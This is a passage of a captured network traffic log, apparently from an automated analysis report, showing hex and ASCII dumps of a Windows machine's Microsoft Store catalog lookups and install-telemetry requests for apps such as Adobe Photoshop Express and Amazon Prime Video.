20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 
Data Ascii:  highlights, midtones, and shadows, without compromising on other areas of tonality.\r\nUse Blacks and Whites 
to set black point and white point of the photo. This makes colors appear completely black or white.\r\n\r\n* Temperature 
and Tint\r\nUse Tempera

2021-11-25 16:28:39 UTC 1429 IN Data Raw: 4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 
45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 22 2c 22 
50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 
4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 
22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2
c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 
2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 
Data Ascii: NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC"
,"SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM"
,"ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","

2021-11-25 16:28:39 UTC 1433 IN Data Raw: 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 
32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 
49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 
5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 
3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 
73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 
75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 
Data Ascii: vel\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"
level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null
,"FulfillmentData

2021-11-25 16:28:39 UTC 1437 IN Data Raw: 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 
74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61
74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 5d 
2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 69 6e 74 65 
72 6e 65 74 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 70 69 63 74 75 72 65 73 4c 69 62 72 61 72 79 22 2c 22 4d 69 6
3 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 
6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 
Data Ascii: d":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":
["x64"],"Capabilities":["internetClient","internetClientServer","picturesLibrary","Microsoft.storeFilter.core.notSupport
ed_8wekyb3d8bbwe"],"Experie

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:39 UTC 1441 IN Data Raw: 38 67 61 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 63 65 36 62 34 38 39 66 2d 33 30 66 33 2d 34 36 63 36 
2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 35 66 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 
65 52 61 6e 6b 22 3a 32 30 30 31 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 
4d 61 78 54 65 73 74 65 64 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 2
2 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 
77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 
6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 
Data Ascii: 8ga","PackageId":"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","PackageRank":20013,"PlatformD
ependencies":[{"MaxTested":1688862745165824,"MinVersion":1688862745165824,"PlatformName":"Windows.Wi
ndows8x"}],"PlatformDependencyXmlBlob":"{\"blob.version\"

2021-11-25 16:28:39 UTC 1445 IN Data Raw: 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 
6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 
22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 
72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 
31 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 41 63 74 69 6f 6e 73 
22 3a 5b 22 4c 69 63 65 6e 73 65 22 2c 22 44 65 74 61 69 6c 73 22 5d 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 41 53 6
3 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 3b 33 
Data Ascii: urrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrency
Code":""}},"Properties":{},"SkuId":"0010","DisplayRank":1,"RemediationRequired":false},{"Actions":["License","Details"],
"AvailabilityASchema":"Availability;3

2021-11-25 16:28:39 UTC 1449 IN Data Raw: 54 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 20 61 70 70 65 61 72 20 63 6f 6d 70 6c 65 74 65 6c 79 20 
62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 72 5c 6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 
64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 20 63 6f 6e 74 
72 6f 6c 73 20 74 6f 20 69 6e 74 72 6f 64 75 63 65 20 77 61 72 6d 74 68 20 6f 72 20 63 6f 6c 64 6e 65 73 73 20 74 6f 20 
79 6f 75 72 20 70 68 6f 74 6f 2e 20 59 6f 75 20 63 61 6e 20 61 6c 73 6f 20 63 6f 6e 74 72 6f 6c 20 74 68 65 20 61 6d 6f 75 
6e 74 20 6f 66 20 67 72 65 65 6e 20 61 6e 64 20 72 65 64 20 74 6f 6e 65 73 20 69 6e 20 79 6f 75 72 20 70 68 6f 74 6f 2e 
5c 72 5c 6e 55 73 65 20 74 68 65 20 54 65 6d 70 65 72 61 74 
Data Ascii: This makes colors appear completely black or white.\r\n\r\n* Temperature and Tint\r\nUse Temperature and Tin
t controls to introduce warmth or coldness to your photo. You can also control the amount of green and red tones in your 
photo.\r\nUse the Temperat

2021-11-25 16:28:39 UTC 1453 IN Data Raw: 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 
57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 
22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 
50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7
b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 
46 4a 32 37 4e 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 63 30 38 61 30 64 37 32 2d 32 38 61 31 2d 34 36 
35 61 2d 39 65 37 30 2d 36 61 35 62 38 30 62 34 34 64 36 30 22 2c 22 
Data Ascii: "TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA
","NEUTRAL"]}],"ProductId":"9WZDNCRFJ27N","Properties":{"FulfillmentData":{"ProductId":"9WZDNCRFJ27N","WuCateg
oryId":"c08a0d72-28a1-465a-9e70-6a5b80b44d60","

2021-11-25 16:28:39 UTC 1457 IN Data Raw: 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 
73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 
75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 
4e 43 52 46 4a 32 37 4e 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 32 35 35 30 62 33 64 39 2d 63 64 35 36 2d 34 
32 34 34 2d 62 37 62 39 2d 62 63 63 33 63 39 30 63 62 62 62 61 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 
63 30 38 61 30 64 37 32 2d 32 38 61 31 2d 34 36 35 61 2d 39 65 37 30 2d 36 61 35 62 38 30 62 34 34 64 36 30 22 2c 22 
50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 41 64 
Data Ascii: ,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductI
d":"9WZDNCRFJ27N","WuBundleId":"2550b3d9-cd56-4244-b7b9-bcc3c90cbbba","WuCategoryId":"c08a0d72-28a1-465a-
9e70-6a5b80b44d60","PackageFamilyName":"Ad

2021-11-25 16:28:39 UTC 1461 IN Data Raw: 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 70 69 63 74 75 72 65 73 4c 69 62 72 61 72 79 22 2c 22 4d 69 63 72 
6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79
62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 
61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 37 34 37 38 36 33 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 
6e 42 79 74 65 73 22 3a 31 36 31 31 37 37 36 30 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 61 70 70 78 22 
2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 41 64 6f 62 65 53 79 73 74 65 6d 73 49 6e 63 6f 72 70 
6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 
Data Ascii: lientServer","picturesLibrary","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"
MaxDownloadSizeInBytes":8747863,"MaxInstallSizeInBytes":16117760,"PackageFormat":"appx","PackageFami
lyName":"AdobeSystemsIncorporated.AdobePhotosho

2021-11-25 16:28:39 UTC 1465 IN Data Raw: 38 36 32 37 34 35 31 36 35 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 
2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 
22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 
63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 64 6f 62 65 53 79 73 74 65 6d 
73 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 31 2e 33 2e 
35 2e 37 34 5f 78 38 36 5f 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 5c 22 2c 5c 22 41 64 6f 62 65 53 79 73 74 65 6d 73 
49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 
Data Ascii: 862745165824,"PlatformName":"Windows.Windows8x"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1
688867040526336,\"content.bundledPackages\":[\"AdobeSystemsIncorporated.AdobePhotoshopExpress_1.3.5.
74_x86__ynb6jyjzte8ga\",\"AdobeSystemsIncorporated.AdobeP

2021-11-25 16:28:39 UTC 1469 IN Data Raw: 61 74 65 22 3a 22 32 30 32 31 2d 31 31 2d 30 33 54 30 37 3a 31 32 3a 34 31 2e 38 32 36 30 37 32 36 5a 22 2c 
22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 
7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 
43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 6
5 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 
22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 
65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 
Data Ascii: ate":"2021-11-03T07:12:41.8260726Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":
[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode"
:""}},"Properties":{},"SkuId":"0011",

2021-11-25 16:28:39 UTC 1470 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data
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Session ID Source IP Source Port Destination IP Destination Port Process

33 192.168.2.4 49836 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:39 UTC 1409 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&c
id=128000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFHWD2&skuId=0010&installKind=Redir
ectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162809Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:39 UTC 1470 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 37f0d0c8-6c00-4cc2-86f3-376aabd95cec
Date: Thu, 25 Nov 2021 16:28:38 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

34 192.168.2.4 49837 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:39 UTC 1470 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGGZM6WM&skuId=0010&installKind
=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=202111
25T162811Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:28:39 UTC 1470 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 7ae40070-b120-4b22-ac5e-f761b1cc0752
Date: Thu, 25 Nov 2021 16:28:39 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

35 192.168.2.4 49838 20.54.110.249 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:39 UTC 1471 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AmazonVideo.PrimeVideo_pwbj9vvecjh7j&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: CmnuJyneEUuHSHHU.0.2.4
Host: displaycatalog.mp.microsoft.com

2021-11-25 16:28:39 UTC 1472 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Nov 2021 16:28:39 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: b7f8f1dc-e6af-4032-8e78-4dc29c69162f
MS-RequestId: cb98feac-9524-481f-87ba-a97ddc4e8525
MS-CV: CmnuJyneEUuHSHHU.0.2.4.2955977618.0.1.2955977618.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 86f44b-dlb5n
Region: neu
Node: aks-systempool-37630073-vmss00002m
MS-DocumentVersions: 9P6RC76MSMMJ|1124
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2021-11-25 16:28:39 UTC 1472 IN Data Raw: 37 63 32 36 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 50 36 52 43 37 36 4d 53 4d 4d 4a 22 5d 2c 22 48 61 
73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 
66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 31 2d 30 32 54 31 32 3a 34 32 3a 30 31 2e 37 33 39 33 33 32 37 5a 
22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 
5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 38 36 33 30 31 31 32 32 35 33 39 36 36 
31 30 34 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 7
2 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: 7c26{"BigIds":["9P6RC76MSMMJ"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2021-11-02T12
:42:01.7393327Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3058630112253966104","EISListingIdentifier
":null,"BackgroundColor":"transpare

2021-11-25 16:28:39 UTC 1476 IN Data Raw: 31 38 39 38 35 35 33 36 39 31 39 39 30 35 2e 62 66 64 63 65 66 34 62 2d 39 36 62 65 2d 34 31 62 36 2d 62 
65 38 65 2d 35 66 61 39 34 61 31 34 33 36 38 31 2e 38 31 36 62 34 65 61 38 2d 66 65 37 38 2d 34 65 66 30 2d 61 30 35 
64 2d 64 32 64 62 36 35 39 38 34 66 32 61 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 3
3 30 34 30 34 34 33 37 30 38 38 31 39 32 35 33 30 39 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 
69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 
22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 30 30 33 36 2c 
22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 
Data Ascii: 18985536919905.bfdcef4b-96be-41b6-be8e-5fa94a143681.816b4ea8-fe78-4ef0-a05d-d2db65984f2a","Width":
66},{"FileId":"3040443708819253095","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeIn
Bytes":10036,"ForegroundColor":"","He

2021-11-25 16:28:39 UTC 1480 IN Data Raw: 34 38 36 36 37 31 30 35 35 34 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 
75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 
74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 39 38 38 35 2c 22 46 6f 72 65 67 
72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 
6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 
65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6a 4c 75 4f 74 76 78 30 50 6b 6a 76 75 71 59 75 6a 5a 35 
78 56 46 33 50 61 67 71 51 66 59 6e 76 6c 36 76 44 58 4f 66 
Data Ascii: 4866710554","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":13988
5,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"jL
uOtvx0PkjvuqYujZ5xVF3PagqQfYnvl6vDXOf

2021-11-25 16:28:39 UTC 1484 IN Data Raw: 30 30 30 30 30 30 30 30 36 37 38 30 31 37 34 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 
69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 
22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 30 39 31 39 33 
31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 37 36 38 2c 22 49 6d 61 
67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 37 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 
65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 
68 22 3a 22 46 6f 45 6a 51 53 43 33 41 4c 72 77 68 70 58 41 6f 
Data Ascii: 0000000067801741","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes"
:1091931,"ForegroundColor":"","Height":768,"ImagePositionInfo":"Desktop/7","ImagePurpose":"Screenshot","Unscal
edImageSHA256Hash":"FoEjQSC3ALrwhpXAo

2021-11-25 16:28:39 UTC 1488 IN Data Raw: 74 4b 69 6e 64 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 44 69 73 70 6c 61 79 53 6b 75 41 76 61 69 
6c 61 62 69 6c 69 74 69 65 73 22 3a 5b 7b 22 53 6b 75 22 3a 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 
3a 22 32 30 32 31 2d 31 31 2d 30 32 54 31 32 3a 34 32 3a 30 31 2e 37 33 39 33 33 32 37 5a 22 2c 22 4c 6f 63 61 6c 69 
7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 53 6b 75 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 57 61 74 63 6
8 20 6d 6f 76 69 65 73 20 61 6e 64 20 54 56 20 73 68 6f 77 73 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 66 6f 72 20 79 6f 75 
2c 20 69 6e 63 6c 75 64 69 6e 67 20 41 6d 61 7a 6f 6e 20 4f 72 69 67 69 6e 61 6c 73 20 6c 69 6b 65 20 54 68 65 20 42 6f 
79 73 2c 20 48 75 6e 74 65 72 73 2c 20 54 68 65 20 4d 61 72 76 
Data Ascii: tKind":"Application","DisplaySkuAvailabilities":[{"Sku":{"LastModifiedDate":"2021-11-02T12:42:01.7393327Z","
LocalizedProperties":[{"SkuDescription":"Watch movies and TV shows recommended for you, including Amazon Originals 
like The Boys, Hunters, The Marv

2021-11-25 16:28:39 UTC 1492 IN Data Raw: 6c 5c 22 3a 35 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 33 
30 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 
49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 
6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 
